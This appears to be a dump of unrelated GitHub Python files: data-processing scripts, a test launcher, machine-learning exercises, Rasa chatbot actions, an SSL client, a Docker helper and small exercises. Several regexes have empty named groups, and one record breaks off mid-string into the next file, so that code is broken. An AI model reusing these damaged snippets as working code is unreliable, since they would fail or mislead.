print(motomel.marca,motomel.modelo,motomel.precio)\n\n\n\n\n\nclass Auto:\n def __init__(self,marca,modelo,precio):\n self.marca=marca\n self.modelo=modelo\n self.precio=precio\n#DATOS YA CARGADOS EN LA CONCESIONARIA.\nautovw=\"volkswagen Nivus\"\nmodelovw=2020\npreciovw=2100000\nvw=Auto(autovw,modelovw,preciovw)\n####### print(vw.marca, vw.modelo, vw.precio)\nautoford=\"Ford Focus\"\nmodeloford=2015\nprecioford=4500000\nford=Auto(autoford,modeloford,precioford)\n####### print(ford.marca,ford.modelo,ford.precio)","repo_name":"LucasNLopez/Concesionaria","sub_path":"clases.py","file_name":"clases.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17415625469","text":"from EEMSBasePackage3 import EEMSProgram\n\n\nclass EEMS3DParser(object):\n \"\"\" A parser for EEMS program files. Returns a JSON object. Adapted from EEMSTwoFileParser, Mike Lundin.\"\"\"\n def __init__(self, eems_file_path):\n\n self.eems_file_path = eems_file_path\n\n def get_model(self):\n\n command_model = {'nodes': {}}\n\n program = EEMSProgram(self.eems_file_path)\n for eems_command in program.orderedCmds:\n command_name = eems_command.GetCommandName()\n\n if eems_command.IsReadCmd():\n if eems_command.HasParam('NewFieldName'):\n attribute_name = eems_command.GetParam('NewFieldName')\n else:\n attribute_name = eems_command.GetParam('InFieldName')\n else:\n attribute_name = eems_command.GetResultName()\n\n # Skip CSVIndex Commands. These are special commands used by EEMS, but not shown in the model.\n if attribute_name == 'CSVIndex':\n continue\n\n command_entry = {\n 'raw_operation': command_name,\n 'operation': eems_command.GetReadableNm(),\n 'is_fuzzy': eems_command.GetRtrnType() == 'Fuzzy',\n 'short_desc': eems_command.GetShortDesc()\n }\n\n # The CallExtern command's return type is not known by default. It is determined by what is being run\n # externally. Need to get the fuzzy property based on its ResultType parameter.\n if command_name == 'CALLEXTERN':\n command_entry['is_fuzzy'] = eems_command.GetParam('ResultType').lower() == 'fuzzy'\n\n if not eems_command.IsReadCmd():\n if 'InFieldNames' in eems_command.GetRequiredParamNames():\n command_entry['children'] = eems_command.GetParam('InFieldNames')\n else:\n command_entry['children'] = [eems_command.GetParam('InFieldName')]\n\n command_entry['arguments'] = []\n for param_name in eems_command.GetParamNames():\n if param_name not in ['InFileName', 'OutFileName', 'InFieldNames', 'InFieldName']:\n param_value = eems_command.GetParam(param_name)\n if type(param_value) is list:\n param_str = ', '.join(str(x) for x in param_value)\n else:\n param_str = str(param_value)\n command_entry['arguments'].append('{0}: {1}'.format(param_name, param_str))\n if len(command_entry['arguments']) == 0:\n command_entry.pop('arguments', None)\n\n command_model['nodes'][attribute_name] = command_entry\n\n return command_model","repo_name":"consbio/EEMS3D","sub_path":"explorer/parsers.py","file_name":"parsers.py","file_ext":"py","file_size_in_byte":2739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32762097061","text":"import argparse\nimport re\nfrom collections import namedtuple\nimport subprocess\nfrom io import StringIO\nimport logging\nfrom typing import List\nfrom multiprocessing import Pool\n\n\nTESTS_RE = re.compile(\n r\"# (?P.*)$\\n\"\n r\"(# (?P.*)\\n|)var := \\[(?P[^\\]]*)\\]:$\\n\"\n r\"sys := \\[(?P[^\\]]*)\\]:\",\n re.MULTILINE,\n)\n\nSYSTEM_RE = re.compile(\n r\",\",\n re.MULTILINE,\n)\n\nPOLY_RE = re.compile(\n r\"(\\+|\\-)\",\n re.MULTILINE,\n)\n\nMONOMIAL_RE = re.compile(\n r\"\\*\",\n re.MULTILINE,\n)\n\nVARIABLE_RE = re.compile(\n r\"x(?P\\d+)(\\^(?P\\d+)|)\",\n re.MULTILINE,\n)\n\nTEST_RESULT_RE = re.compile(\n r\"^(?P[^:]*):(?P[^:]*)$\",\n re.MULTILINE,\n)\n\nMonomial = namedtuple(\"Monomial\", (\"num\", \"denom\", \"vars\"))\nTest = namedtuple(\"Test\", (\"name\", \"description\", \"results\"))\n\nlogger = logging.getLogger(\"TestLauncher\")\nlogger.setLevel(logging.INFO)\n\nfh = logging.FileHandler(\"test_launcher.log\")\n\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nfh.setFormatter(formatter)\n\nlogger.addHandler(fh)\n\n\ndef read_system(system: str):\n polys = SYSTEM_RE.split(system)\n res = []\n for poly in polys:\n poly_res = []\n next_sign = 1\n for monomial in POLY_RE.split(poly):\n if not monomial.strip():\n continue\n if monomial == \"-\":\n next_sign = -1\n continue\n if monomial == \"+\":\n next_sign = 1\n continue\n num = 1\n vars_list = []\n for elem in MONOMIAL_RE.split(monomial):\n find_var = VARIABLE_RE.search(elem)\n if find_var:\n idx = find_var.group(\"idx\")\n degree = find_var.group(\"degree\") or 1\n vars_list.append((idx, degree))\n else:\n num = int(elem.strip())\n num *= next_sign\n poly_res.append(Monomial(num, 1, vars_list))\n res.append(poly_res)\n return res\n\n\ndef system_to_input_format(sys):\n output = StringIO()\n\n print(len(sys), file=output)\n for poly in sys:\n print(len(poly), file=output)\n for mono in poly:\n print(mono.num, mono.denom, file=output)\n print(len(mono.vars), file=output)\n for var in mono.vars:\n print(var[0], var[1], file=output)\n\n res = output.getvalue()\n output.close()\n return res\n\n\ndef iterate_through_matrix(matrix):\n for row_idx, row in enumerate(matrix):\n for col_idx, elem in enumerate(row):\n yield (row_idx, col_idx, elem)\n\n\ndef render_tests(tests: List[Test]):\n all_timings = set()\n for test in tests:\n for time_name, time in test.results.items():\n all_timings.add(time_name)\n timing_order = list(all_timings)\n table = [[\"name\", \"description\"] + timing_order]\n for test in tests:\n new_line = [test.name, test.description]\n for time_name in timing_order:\n new_line.append(test.results.get(time_name, \" --- \"))\n table.append(new_line)\n columns = len(table[0])\n rows = len(table)\n col_size = [0] * columns\n for row, col, item in iterate_through_matrix(table):\n col_size[col] = max(col_size[col], len(item))\n close_line = \" \".join([\"-\" * sz for sz in col_size])\n rendered_lines = [\" \".join([\"{{:>{}}}\".format(col_size[col_idx]).format(elem) for col_idx, elem in enumerate(row)]) for row in table]\n return \"\\n\".join([close_line] + rendered_lines + [close_line])\n\n\ndef run_test(name, description, variables, ideal, exec_filename, timeout):\n descr = description\n sys = read_system(ideal)\n input_for_program = system_to_input_format(sys)\n process = subprocess.Popen(\n [exec_filename],\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE\n )\n logger.debug(\"Input for program:\\n%s\", input_for_program)\n current_test = Test(name, descr, dict())\n try:\n outs, errs = process.communicate(input_for_program.encode(), timeout=timeout)\n logger.info(\"Test %s successful\", name)\n except subprocess.TimeoutExpired:\n process.kill()\n logger.info(\"Test %s timeout\", name)\n outs, errs = process.communicate()\n outs = outs.decode().strip()\n for match in TEST_RESULT_RE.finditer(outs):\n time_name = match.group(\"test_name\")\n time = float(match.group(\"test_time\").strip())\n current_test.results[time_name] = \"{:.8f}\".format(time)\n logger.info(\"Stderr for test %s:\\n%s\", name, errs.decode())\n return current_test\n\n\ndef run_test_wrapper(test):\n return run_test(*test)\n\n\ndef main(exec_filename, test_filename, timeout, processes):\n with open(test_filename, \"r\") as f:\n text = f.read()\n parsed_tests_configs = []\n for test_match in TESTS_RE.finditer(text):\n name = test_match.group(\"name\")\n description = test_match.group(\"description\") or \"no description\"\n ideal = test_match.group(\"ideal\")\n variables = test_match.group(\"vars\")\n parsed_tests_configs.append((name, description, variables, ideal, exec_filename, timeout))\n\n with Pool(processes=processes) as pool:\n all_tests = pool.map(run_test_wrapper, parsed_tests_configs)\n print(render_tests(all_tests))\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"exec_file\", help=\"Tested program\")\n parser.add_argument(\"--test_file\", help=\"File with tests\", required=True)\n parser.add_argument(\"--timeout\", help=\"Timeout for one test\", default=10.0, type=float)\n parser.add_argument(\"--processes\", help=\"Ho much processes run\", default=1, type=int)\n args = parser.parse_args()\n main(args.exec_file, args.test_file, args.timeout, args.processes)","repo_name":"venikman1/simple_algebra_library","sub_path":"test_launcher/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5851,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"39768514196","text":"import os\nimport pandas as pd\nimport configparser\n\nconfig = configparser.ConfigParser()\nconfig.read('config.ini')\n\nfans_type = config['cal_common']['fans_type']\n\ndef transDict(dictionary, name_list):\n '''data transformation from dictionary to dataframe'''\n length = len(name_list)\n relationshipMap = {\n 'src': [dictionary['name']] * length,\n 'dst': name_list,\n 'count': dictionary['result'],\n 'type': [dictionary['type']] * length,\n 'followers': [dictionary['followers']] * length\n }\n return relationshipMap\n\n## Get all csv files\ndirectory = f\"data/{fans_type}\"\nall_files = os.listdir(directory)\ncsv_files = list(filter(lambda f: f.endswith('.csv'), all_files))\n\n## Get all streamers' names\nname_list = [f.split(f'_{fans_type}')[0] for f in csv_files]\n\n## Get length\nnum = len(name_list)\n\n## Calculate common fans for each pair of streamers\n\n### Get all streamers' data\ndicts = {}\nfor index, file in enumerate(csv_files):\n result = []\n try:\n df = pd.read_csv(f\"{directory}/{file}\")\n except pd.errors.EmptyDataError as e:\n print(f\"No content for {index}, {name_list[index]}\")\n df = pd.DataFrame(columns=['uid', 'name'],dtype=object)\n dicts[index] = {'name':name_list[index], 'data':df, 'result':result, 'type':fans_type, 'followers':df.shape[0]}\n\n### Calculate common fans\nfor item in dicts:\n if item % 25 == 0:\n print(f\"Processing {item} th, {dicts[item]['name']}\")\n for idx in range(len(name_list)):\n # print(item,idx)\n if item == idx:\n dicts[item]['result'].append(0)\n continue\n duplicate_rows = pd.merge(dicts[item]['data'], dicts[idx]['data'], on=['uid'], how='inner')\n cnt = duplicate_rows.shape[0]\n dicts[item]['result'].append(cnt)\n # if cnt > 0:\n # print(item,idx,dicts[item]['name'],dicts[idx]['name'],cnt)\n \n relationshipMap = transDict(dicts[item],name_list)\n # for i in relationshipMap:\n # print(i,len(relationshipMap[i]))\n df_map = pd.DataFrame.from_dict(relationshipMap)\n df_map.to_csv(f\"data/result/{dicts[item]['name']}.csv\",index=False)\n\n## concat all csv files of streamers to one csv file\ndir_path = os.listdir(\"data/result\") \ncsv_f = list(filter(lambda f: f.endswith('.csv'), dir_path))\n\ndf_all = pd.concat([pd.read_csv(f\"data/result/{f}\") for f in csv_f], axis=0, ignore_index=True)\ndf_all = df_all[df_all['count']>0]\ndf_all['percentage'] = round(df_all['count'] / df_all['followers'], 3)\ndf_all.to_csv('data/result.csv',index=False)\nprint(\"Cal Common Fans -- Done!\")","repo_name":"SummerXIATIAN/blive","sub_path":"p3_cal_common.py","file_name":"p3_cal_common.py","file_ext":"py","file_size_in_byte":2584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35513380646","text":"def perm(i):\n # p의 i번째 인덱스를 채우겠다\n if i == R:\n print(sorted(p))\n if sorted(p) not in ho:\n ho.append(sorted(p)[:])\n\n else:\n for j in range(N):\n if used[j] == 0:\n used[j] = 1\n p[i] = nums[j]\n perm(i+1)\n used[j] = 0\n\n\nnums = [1, 3, 6, 4, 2]\nN = len(nums)\nR = 3\n\np = [0] * R\nused = [0] * N\nho = []\nperm(0)","repo_name":"gusdud2068/algorithm","sub_path":"알고리즘/순열.py","file_name":"순열.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72155537682","text":"# 털과 날개가 있는지 없는지에 따라, 포유류인지 조류인지 분류하는 신경망 모델을 만들어봅니다.\nimport tensorflow as tf\nimport numpy as np\nimport os\n\n# [털, 날개]\nx_data = np.array(\n [[0, 0], [1, 0], [1, 1], [0, 0], [0, 0], [0, 1]])\n\n# [기타, 포유류, 조류]\n# 다음과 같은 형식을 one-hot 형식의 데이터라고 합니다.\ny_data = np.array([\n [1, 0, 0], # 기타\n [0, 1, 0], # 포유류\n [0, 0, 1], # 조류\n [1, 0, 0],\n [1, 0, 0],\n [0, 0, 1]\n])\n\n# define a place holder to load x\n# x = tf.placeholder(tf.float32, [None, 2])\n# y = tf.placeholder(tf.float32, [None, 2])\n\nclass SingleLayerNetwork:\n def __init__(self):\n with tf.Graph().as_default():\n self.prepare_model()\n self.prepare_session()\n\n def prepare_model(self):\n with tf.name_scope('input'):\n x = tf.placeholder(tf.float32, [None, 2], name=\"X\")\n\n with tf.name_scope('output'):\n w0 = tf.Variable(tf.truncated_normal([2, 3]), name=\"w0\") # weight\n b0 = tf.Variable(tf.zeros([3]), name=\"b0\") # bias\n output = tf.nn.relu(tf.matmul(x, w0) + b0)\n p = tf.nn.softmax(output)\n\n with tf.name_scope('optimizer'):\n t = tf.placeholder(tf.float32, [None, 3], name='t')\n loss = tf.reduce_mean(-tf.reduce_sum(t * tf.log(p), axis=1), name='loss')\n train_step = tf.train.GradientDescentOptimizer(0.001).minimize(loss)\n # train_step = tf.train.AdamOptimizer().minimize(loss)\n\n with tf.name_scope('evaluator'):\n # correct_prediction = tf.equal(tf.sign(p-0.5), tf.sign(t-0.5))\n correct_prediction = tf.equal(tf.argmax(p), tf.argmax(t))\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32), name='accuracy')\n\n tf.summary.scalar(\"loss\", loss)\n tf.summary.scalar(\"accuracy\", accuracy)\n tf.summary.histogram(\"weights_hidden\", w0)\n tf.summary.histogram(\"biases_hidden\", b0)\n\n self.x, self.t, self.p = x, t, p\n self.w0, self.b0 = w0, b0,\n self.train_step = train_step\n self.loss = loss\n self.accuracy = accuracy\n\n def prepare_session(self):\n sess = tf.InteractiveSession()\n sess.run(tf.global_variables_initializer())\n summary = tf.summary.merge_all()\n\n logpath = os.path.join(\"D:\\\\\", \"Temp2\", \"mnist_sl_logs\")\n writer = tf.summary.FileWriter(logpath, sess.graph)\n\n self.sess = sess\n self.summary = summary\n self.writer = writer\n\n\nnn = SingleLayerNetwork()\n\ni = 0\nfor _ in range(2000):\n i += 1\n nn.sess.run(nn.train_step, feed_dict={nn.x: x_data, nn.t: y_data})\n\n x_val, w0_val, b0_val, p_val, t_val \\\n = nn.sess.run([nn.x, nn.w0, nn.b0, nn.p, nn.t], feed_dict={nn.x: x_data, nn.t: y_data})\n print(x_val, \"\\n\", w0_val, \"\\n\", b0_val, \"\\n\", p_val, \"\\n\", t_val)\n print(\"x={}\\n w0={}\\n b0={}\\n p={}\\n t={}\".format(x_val, w0_val, b0_val, p_val, t_val))\n # x_val, \"\\n\", w0_val, \"\\n\", b0_val, \"\\n\", p_val, \"\\n\", t_val)\n\n summary, loss_val, acc_val = nn.sess.run([nn.summary, nn.loss, nn.accuracy],\n feed_dict={nn.x: x_data, nn.t: y_data})\n print('loss: %f' % loss_val)\n print('Accuracy: %f' % acc_val)\n\n if i % 100 == 0:\n summary, loss_val, acc_val = nn.sess.run([nn.summary, nn.loss, nn.accuracy],\n feed_dict={nn.x:x_data, nn.t: y_data})\n print ('Step: %d, Loss: %f, Accuracy: %f' % (i, loss_val, acc_val))\n nn.writer.add_summary(summary, i)\n\n","repo_name":"stkim123/kr.ac.jbnu.ssel.stkim.tensorflow","sub_path":"study_material/3minutes/chap4/02 - Classification_NN_softmax_tensorboard(singlelayer).py","file_name":"02 - Classification_NN_softmax_tensorboard(singlelayer).py","file_ext":"py","file_size_in_byte":3599,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"41087908083","text":"from engine_utils.util.targets.hive_table_target import HiveTableTarget\nfrom engine_utils.util.tasks.spark_task import SparkTask\nfrom engine.read.tasks.process_raw_media_data_task import ProcessRawMediaTask\nfrom engine.mpa.tasks.generate_aoa_projection_factors_task \\\n import GenerateAllOutletAdjustmentProjectionFactorsTask\nfrom samo.tasks.generate_keno_univ_tables import BuildKenoUnivTables\nfrom metrics.helpers.make_media import get_dimensions_from_configs\nfrom metrics.helpers.pdf_to_table_excel import pdf_to_table, pdf_to_excel\nfrom metrics.lib.hh_project_univ import main as pmain\nimport luigi\n\n\nclass projTablesTask(SparkTask):\n \"\"\"child task for projecting households to universe exposures\"\"\"\n brand_dbase = luigi.parameter.Parameter(default='')\n output_path = luigi.parameter.Parameter(default='/mroi/Xiao')\n\n def __init__(self, *args, **kwargs):\n super(projTablesTask, self).__init__(*args, **kwargs)\n self.mtypes = self.base_modeling_media.get_media_subtypes_list_from_supertype('dig')\n self.task_list = [ProcessRawMediaTask(media_type=mt, run_id=self.run_id)\n for mt in self.mtypes]\n self.projfact_task = GenerateAllOutletAdjustmentProjectionFactorsTask(\n run_id=self.run_id, media_type='dig')\n self.univtable_tasks = [BuildKenoUnivTables(run_id=self.run_id, media_type=m)\n for m in self.mtypes]\n\n @property\n def table_name(self):\n return 'consulting_project'\n\n def requires(self):\n return [self.projfact_task] + self.task_list + self.univtable_tasks\n\n def main(self, sc, hc):\n proj_df = hc.table(self.projfact_task.output().table)\n media_list = [hc.table(t.output()[0].table) for t in self.task_list]\n univ_list = [hc.table(t.output().table) for t in self.univtable_tasks]\n df_hier = get_dimensions_from_configs(hc, self.mta_config, self.base_modeling_media)\n pdf = pmain(media_list, proj_df, univ_list, self.mtypes, df_hier)\n pdf_to_excel(self.output_path, [self.table_name], [pdf], self.database_name)\n pdf_to_table(hc, self.database_name, [self.table_name], [pdf])\n\n def output(self):\n return HiveTableTarget(self.table_name, self.database_name)\n","repo_name":"xiaowei1234/pySpark-Pipelining","sub_path":"metrics/tasks/projtables_task.py","file_name":"projtables_task.py","file_ext":"py","file_size_in_byte":2266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36138329435","text":"import requests, re\n\ndownload_pdf_regex = re.compile('\\s* Text:\r\n return \"action_pushpull\"\r\n\r\n def run(self, dispatcher: CollectingDispatcher,\r\n tracker: Tracker,\r\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\r\n\r\n dispatcher.utter_template(\"utter_pushpulllegs\",tracker)\r\n\r\n return [SlotSet('pushpull',tracker.latest_message['text'])]\r\n\r\n\r\nclass Actiondescription(Action):\r\n\r\n def name(self) -> Text:\r\n return \"action_description\"\r\n\r\n def run(self, dispatcher: CollectingDispatcher,\r\n tracker: Tracker,\r\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\r\n\r\n dispatcher.utter_template(\"utter_workoutdescription\",tracker)\r\n print(tracker.get_slot('pushpull'))\r\n\r\n return [SlotSet('description',tracker.latest_message['text'])]\r\n\r\n# class Actionstoredatabase(Action):\r\n\r\n# def name(self) -> Text:\r\n# return \"action_store\"\r\n\r\n# def run(self, dispatcher: CollectingDispatcher,\r\n# tracker: Tracker,\r\n# domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\r\n \r\n# x=tracker.get_slot('pushpull')\r\n# print(x)\r\n# y=tracker.get_slot('description')\r\n# print(y)\r\n# DataUpdate(x, y)\r\n# dispatcher.utter_message(\"Database Updated\")\r\n\r\n# return []\r\n\r\n","repo_name":"OmkarNaik10/RASA_PersonalTrainerChatbot","sub_path":"actions/actions5.py","file_name":"actions5.py","file_ext":"py","file_size_in_byte":2382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35696219867","text":"# 문제\r\n# 대학생 새내기들의 90%는 자신이 반에서 평균은 넘는다고 생각한다. 당신은 그들에게 슬픈 진실을 알려줘야 한다.\r\n\r\n# 입력\r\n# 첫째 줄에는 테스트 케이스의 개수 C가 주어진다.\r\n\r\n# 둘째 줄부터 각 테스트 케이스마다 학생의 수 N(1 ≤ N ≤ 1000, N은 정수)이 첫 수로 주어지고, 이어서 N명의 점수가 주어진다. 점수는 0보다 크거나 같고, 100보다 작거나 같은 정수이다.\r\n\r\n# 출력\r\n# 각 케이스마다 한 줄씩 평균을 넘는 학생들의 비율을 반올림하여 소수점 셋째 자리까지 출력한다.\r\n\r\nn = int(input())\r\n\r\nfor i in range(n):\r\n cnt = 0\r\n arr = []\r\n m = input().split()\r\n m.remove(f\"{m[0]}\")\r\n for j in m: # 리스트 내 원소 integer로 변경\r\n arr.append(int(j))\r\n avg = sum(arr)/len(arr)\r\n for k in range(len(arr)):\r\n if(avg < arr[k]):\r\n cnt += 1\r\n print(f\"{(cnt/len(arr))*100:.3f}%\")\r\n","repo_name":"Hitbee-dev/Coding_test","sub_path":"baekjoon/5.one-demensional_arr/4344.py","file_name":"4344.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36582219785","text":"from io import TextIOWrapper\nfrom typing import Generator\n\n\ndef fp_read_one_char_at_atime(fp: TextIOWrapper) -> Generator[str, None, None]:\n while True:\n # read next character\n char = fp.read(1)\n # if not EOF, then at least 1 character was read, and \n # this is not empty\n if char:\n yield char\n else:\n return\n","repo_name":"YuvalHelman/aoc-2022","sub_path":"adventOfCode/file_utils.py","file_name":"file_utils.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72166137976","text":"import pygame\nfrom barchart import BarChart\nfrom button import Button\nimport fruitmodel\n\n\npygame.init()\n\nscreen = pygame.display.set_mode((1000,600))\n\npygame.display.set_caption(\"Bar Chart Viewer\")\npygame.display.update()\n\ndata1 = fruitmodel.get_data()\ndata2=fruitmodel.get_sorted_data()\n\nscreen_rect = screen.get_rect()\nbc1_rect = pygame.Rect(screen_rect.x, screen_rect.y, \n screen_rect.width, screen_rect.height) # make it the full height again\n\nbc1 = BarChart(bc1_rect, data1)\n\nbc2=BarChart(bc1_rect, data2)\n\nbutton = Button(\"Change\", pygame.Rect(10, screen_rect.height - 70, 150, 60))\n\n# display loop\ndone = False\nflag=0\nwhile not done:\n\tscreen.fill((0,0,0))\n\tfor event in pygame.event.get():\n\t\tif event.type == pygame.QUIT:\n\t\t\tdone = True\n\t\telse:\n\t\t\tbutton.handle_event(event)\n\t\t\tif flag%2==0:\n\t\t\t\tbc1.draw(screen)\n\t\t\telse:\n\t\t\t\tbc2.draw(screen)\n\tbutton.draw(screen)\n\tpygame.display.update()\n\tflag+=1\n\npygame.quit()\n\n","repo_name":"zhaaaa7/python","sub_path":"SI507/lab13-pygame/barviewer2.py","file_name":"barviewer2.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"41429193437","text":"\"\"\"\nGiven arrival and departure times of all trains that reach a railway station, find the minimum number of platforms\nrequired for the railway station so that no train waits.\n\nInput: arr[] = {9:00, 9:40, 9:50, 11:00, 15:00, 18:00}\n dep[] = {9:10, 12:00, 11:20, 11:30, 19:00, 20:00}\nOutput: 3\nThere are at-most three trains at a time (time between 11:00 to 11:20)\n\nGFG: https://www.geeksforgeeks.org/minimum-number-platforms-required-railwaybus-station/\n\"\"\"\n\n\ndef find_platform(arrival, departed, n):\n arrival_array = sorted(arrival)\n departed_array = sorted(departed)\n i = 1\n j = 0\n result = 1\n platform = 1\n\n while i < n and j < n:\n if arrival_array[i] < departed_array[j]:\n platform += 1\n i += 1\n\n if platform > result:\n result = platform\n\n else:\n platform -= 1\n j += 1\n\n return result\n\n\nif __name__ == '__main__':\n arr = [900, 940, 950, 1100, 1500, 1800]\n dep = [910, 1200, 1120, 1130, 1900, 2000]\n arrival_len = len(arr)\n\n print(\"Minimum Number of Platforms Required = \",\n find_platform(arr, dep, arrival_len))\n","repo_name":"anurag2050doit/DSA","sub_path":"Algo/Min num of platforms.py","file_name":"Min num of platforms.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"70835736055","text":"# Task 1\nweight = input(\"Package weight (lbs): \")\nweight = float(weight)\n\nground_flat = 20\nground_premium_flat = 125\ndrone_flat = 0\n\n# Ground/Drone shipping\nif weight <= 2:\n cost_ground = weight * 1.50\n cost_drone = weight * 4.5\nelif weight <= 6:\n cost_ground = weight * 3\n cost_drone = weight * 9\nelif weight <= 10:\n cost_ground = weight * 4\n cost_drone = weight * 12\nelse:\n cost_ground = weight * 4.75\n cost_drone = weight * 14.25\n\n\nprint(\"Prices:\")\nprint(\"Ground Shipping: \" + str(cost_ground + ground_flat))\nprint(\"Ground Shipping Premium:\", ground_premium_flat)\nprint(\"Drone Shipping:\", cost_drone)\n\n","repo_name":"DiggsAsura/study","sub_path":"archive/codecademy/Python3/shipping.py","file_name":"shipping.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"3399902254","text":"from matplotlib import pyplot\r\nimport numpy\r\n\r\ndata1 = [10, 14, 19, 20, 25]\r\n\r\n# 리스트 내용을 그래프로 출력\r\n# x축을 지정하지 않으면, 0부터 1씩 증가값을 가지고, 데이터는 y축 값이 된다.\r\npyplot.plot(data1)\r\npyplot.show()\r\n\r\n# numpy 배열 이용\r\narr = numpy.array(data1)\r\npyplot.plot(arr)\r\npyplot.show()\r\n\r\n# x축, y축 값 지정\r\n# plot(x, y)\r\npyplot.plot([1, 2, 3, 4, 5], data1)\r\npyplot.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"JiyeonChoi97/Python_BigData_prac","sub_path":"4-Matplotlib/exam1.py","file_name":"exam1.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"223106313","text":"import socket\nimport ssl\ndef connectSSL(_tcp_ip='192.168.1.100', _tcp_port=10000, _keyfile='user.key', _certfile='user.pem',\n _ca_certs='ca.crt')->ssl.SSLSocket:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n sk = ssl.wrap_socket(s, keyfile=_keyfile, certfile=_certfile, cert_reqs=ssl.CERT_REQUIRED, ca_certs=_ca_certs)\n\n try:\n sk.connect((_tcp_ip, _tcp_port))\n print(\"cert type: \", sk.getpeercert())\n return sk\n except Exception as e:\n print(e)\n exit(1)\n\n","repo_name":"Q-Wednesday/simple_proxy","sub_path":"ssl_connect.py","file_name":"ssl_connect.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"19568795457","text":"import click\nimport os\nimport subprocess\nimport sys\nfrom docker.client import Client\nfrom docker.utils import kwargs_from_env\nimport socket\nimport yaml\nimport re\n\n\ndef normal_message(text):\n click.secho(text)\n\n\ndef success_message(text):\n click.secho(text, fg='green')\n\n\ndef error_message(text):\n click.secho(text, fg='red')\n\n\ndef warning_message(text, nl=True):\n click.secho(text, fg='yellow', nl=nl)\n\n\ndef start_dinghy_if_required():\n cli = get_docker_client()\n if not docker_ping(cli):\n if sys.platform == \"darwin\":\n dinghy_ip = subprocess_cmd(command=\"dinghy ip\", print_lines=False)\n if not valid_ip(dinghy_ip):\n subprocess_cmd(command=\"dinghy start\")\n subprocess_cmd(command=\"$(dinghy shellinit)\", write_env=True, print_lines=False)\n\n\ndef get_docker_client():\n kwargs = kwargs_from_env()\n if 'tls' in kwargs:\n kwargs['tls'].assert_hostname = False\n kwargs['version'] = '1.22'\n kwargs['timeout'] = 3\n return Client(**kwargs)\n\n\ndef valid_ip(address):\n try:\n socket.inet_aton(address)\n return True\n except:\n return False\n\n\ndef docker_ping(cli):\n try:\n cli.ping()\n return True\n except:\n return False\n\n\ndef subprocess_cmd(command, write_env=False, print_lines=True):\n process = subprocess.Popen([\"sh\"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n process.stdin.write(command + \"\\n\")\n\n if write_env:\n process.stdin.write(\"env\\n\")\n\n process.stdin.close()\n\n response = ''\n\n while True:\n line = process.stdout.readline()\n if print_lines:\n click.echo(line.strip())\n if write_env:\n if \"=\" in line.strip():\n name, value = line.strip().split(\"=\", 1)\n os.environ[name] = value\n response += line.strip()\n\n if not line and process.poll() is not None:\n break\n\n return response\n\n\ndef read_docker_compose():\n try:\n f = open('docker-compose.yml')\n dataMap = yaml.safe_load(f)\n f.close()\n return dataMap\n except:\n error_message(\"File not found: docker-compose.yml\\nmake sure you're in project directory.\")\n return False\n\n\ndef is_valid_host_name(hostname):\n \"\"\"\n First it checks to see if the hostname is too long. Next, it checks to see if the first character is a number.\n If the last character is a \".\", it is removed. A list of acceptable characters is then compiled and each section\n of the host name, split by any \".\", is checked for valid characters. If there everything is valid, True is returned.\n \"\"\"\n if len(hostname) > 255:\n return False\n if hostname[0].isdigit(): return False\n if hostname[-1:] == \".\":\n hostname = hostname[:-1] # strip exactly one dot from the right, if present\n allowed = re.compile(\"(?!-)[A-Z\\d-]{1,63}(? {0}\".format(msg))\n time.sleep(4)\n\n","repo_name":"vbmade2000/thumber","sub_path":"thumber/plugins/plugin1.py","file_name":"plugin1.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"71880745335","text":"#! /usr/bin/env python\n\nfrom lxml import html\nimport requests\nfrom datetime import date, datetime, time\nimport re\nimport sys\nimport pandas as pd\nimport os.path as path\n\n# cach results. The speedup and load reduction is minor,\n# but it enables the MusicBrainz load to read the cache\n# and that ends up being important\ncache_dir = './cache'\nplaylist_cache = path.join(cache_dir, 'xpn', 'leftovers.csv')\n\n# playlist is fri 7-11, sat 10-5 